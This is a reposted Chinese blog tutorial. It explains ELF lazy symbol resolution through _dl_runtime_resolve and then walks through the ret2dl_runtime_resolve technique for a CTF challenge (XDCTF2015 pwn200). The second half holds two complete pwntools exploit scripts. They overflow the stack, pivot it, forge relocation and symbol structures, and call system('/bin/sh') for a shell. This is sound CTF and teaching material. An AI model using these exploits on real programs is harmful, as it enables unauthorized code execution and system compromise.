_dl_runtime_resolve

_dl_runtime_resolve函数具体运行模式

1. 首先用link_map访问.dynamic，分别取出.dynstr、.dynsym、.rel.plt的地址
2. .rel.plt+参数relic_index，求出当前函数的重定位表项Elf32_Rel的指针，记作rel
3. rel->r_info >> 8 作为.dynsym的下标，求出当前函数的符号表项Elf32_Sym的指针，记作sym
4. .dynstr + sym->st_name得出符号名 字符串指针
5. 在动态链接库查找这个函数的地址，并且把地址赋值给*rel->r_offset，即GOT表
6. 最后调用这个函数

以puts为例追踪一下ELF文件libc函数解析过程

0x00 call puts@plt

0x01 si进入call puts@plt

0x02 因为会jmp dword ptr [0x804a00c]，所以查看一下0x804a00c的内容，存放的是0x080482e6地址，其中0x080482e6是puts@plt第二条指令的地址，即read@got中初始存放read@plt的第二条指令地址

0x03 jmp 0x80482d0

其中ds:0x804a008存放的是_dl_runtime_resolve的地址

这样的话，加上之前的push 0，就push了两个参数，这两个参数刚好是_dl_runtime_resolve(link_map_obj, reloc_index)需要的参数，其中0x804a004就是link_map指针，0就是reloc_index

push   0
push   dword ptr [0x804a004]

0x04 那么我们看看通过这两个参数是如何找到puts函数的呢

• 首先找到 link_map 的地址

  

  • 然后通过 link_map 找到 .dynamic 的地址，其中第三个地址就是 .dynamic 的地址，即 0x8049f14

    

  • 然后通过 .dynamic 来找到 .dynstr 、.dynsym 、.rel.plt 的地址

    .dynamic 的地址加 0x44 的位置是 .dynstr :[0x08049f14+0x44]=[0x08049f58]，即 0x0804821c

    .dynamic 的地址加 0x4c 的位置是 .dynsym :[0x08049f14+0x4c]=[0x08049f60]，即 0x080481cc

    .dynamic 的地址加 0x84 的位置是 .rel.plt: [0x08049f14+0x84]=[0x08049f98]，即 0x08048298

    

  • 然后用 .rel.plt 的地址加上参数 reloc_index ，即 0x8048298+0=0x8048298 找到函数的重定位表项 Elf32_Rel 的指针，记作rel

    

    

  • 这里rel为0x8048298，所以

  r_offset = 0x804a00c
  r_info = 107h

  • 通过 Elf32_rel 结构的 r_info >> 8 = 107h >> 8 = 1 作为 .dynsym 中的下标

    

    

  • 查看 0x80481dc 内存，找到 puts 在 .dynstr 表项索引为 0x1a，所以 st_name 的地址为 0x804821c+0x1a=0x8048236

    

    

    

  • 最后在动态链接库查找这个函数的地址，并且把地址赋值给 *rel->r_offset ，即 GOT 表就可以了

    

    

  利用思路

  • 事实上，虚拟地址是从st_name得来的，只要我们能够修改这个st_name的内容就可以执行任意函数，比如把st_name的内容修改为"system"
  • reloc_index即参数n是我们可以控制的，我们需要做的事通过一系列操作，把reloc_index可控转化为st_name可控；我们需要在一个可写地址上构造一系列伪结构就可以完成利用或在条件允许的情况下直接修改.dynstr
  • 所以我们需要在程序中找一段空间start出来，放我们直接构造的fake_dynsym，fake_dynstr和fake_rel_plt等，然后利用栈迁移到手法将栈转移到start

  0x00 计算reloc_index

  

  • relic_index = fake_rel_plt_addr - 0x804833c

  0x01 计算r_info

  

  r_info的计算方法有两个步骤

  • x = （欲伪造的地址 - .dynsym基地址）/ 0x10

  • r_info = x << 8 | 0x7

  0x02 计算st_name

  

  • st_name = fake_dynstr_addr - 0x804827c

  例子（这里有XDCTF2015的pwn200）

  • 方法一：直接使用了roputils库，比较简洁

  # coding=utf-8
  from roputils import *
  from pwn import process
  from pwn import gdb
  from pwn import context
  processName = 'main'
  offset = 112
  
  r = process('./' + processName)
  context.log_level = 'debug'
  rop = ROP('./' + processName)
  
  bss_base = rop.section('.bss')
  buf = rop.fill(offset)
  
  buf += rop.call('read', 0, bss_base, 100)
  ## used to call dl_Resolve()
  buf += rop.dl_resolve_call(bss_base + 20, bss_base)
  r.send(buf)
  
  buf = rop.string('/bin/sh')
  buf += rop.fill(20, buf)
  ## used to make faking data, such relocation, Symbol, Str
  buf += rop.dl_resolve_data(bss_base + 20, 'system')
  buf += rop.fill(100, buf)
  r.send(buf)
  r.interactive()

  

  • 方法二：其实一步一步伪构造能更容易理解过程，可以参考高级ROP ret2dl_runtime 之通杀详解和ROP高级用法之ret2_dl_runtime_resolve

  

  构造的ROP

  • 上面构造的ROP左边是做一个栈的迁移
  • 右边是伪造的解析链

  from pwn import *
  context.log_level = 'debug'
  context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
  name = './main'
  p = process(name)
  elf= ELF(name)
  rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr   #0x8048330
  dynsym_addr =  elf.get_section_by_name('.dynsym').header.sh_addr    #0x80481d8
  dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr     #0x8048278
  resolve_plt = 0x08048380
  leave_ret_addr = 0x0804851D
  start = 0x804aa00
  fake_rel_plt_addr = start
  fake_dynsym_addr = fake_rel_plt_addr + 0x8
  fake_dynstr_addr = fake_dynsym_addr + 0x10
  bin_sh_addr = fake_dynstr_addr + 0x8
  #n index_arg
  n = fake_rel_plt_addr - rel_plt_addr
  r_info = (((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7
  str_offset = fake_dynstr_addr - dynstr_addr
  fake_rel_plt = p32(elf.got['read']) + p32(r_info)
  fake_dynsym = p32(str_offset) + p32(0) + p32(0) + p32(0x12000000)
  fake_dynstr = "system"+'\x00'+'\x00'
  fake_dynstr += "/bin/sh"+'\x00'
  pay1 = 'a'*108 + p32(start - 20) + p32(elf.plt['read']) + p32(leave_ret_addr) + p32(0) + p32(start - 20) + p32(0x100)
  p.recvuntil('Welcome to XDCTF2015~!\n')
  p.sendline(pay1)
  pay2 = p32(0x0) + p32(resolve_plt) + p32(n) + 'aaaa' + p32(bin_sh_addr) + fake_rel_plt + fake_dynsym + fake_dynstr
  p.sendline(pay2)
  success(".rel_plt: " + hex(rel_plt_addr))
  success(".dynsym: " + hex(dynsym_addr))
  success(".dynstr: " + hex(dynstr_addr))
  success("fake_rel_plt_addr: " + hex(fake_rel_plt_addr))
  success("fake_dynsym_addr: " + hex(fake_dynsym_addr))
  success("fake_dynstr_addr: " + hex(fake_dynstr_addr))
  success("n: " + hex(n))
  success("r_info: " + hex(r_info))
  success("offset: " + hex(str_offset))
  success("system_addr: " + hex(fake_dynstr_addr))
  success("bss_addr: " + hex(elf.bss()))
  p.interactive()

  

  本作品转自常向阳_的博客
  原文链接：https://www.jianshu.com/p/57f6474fe4c6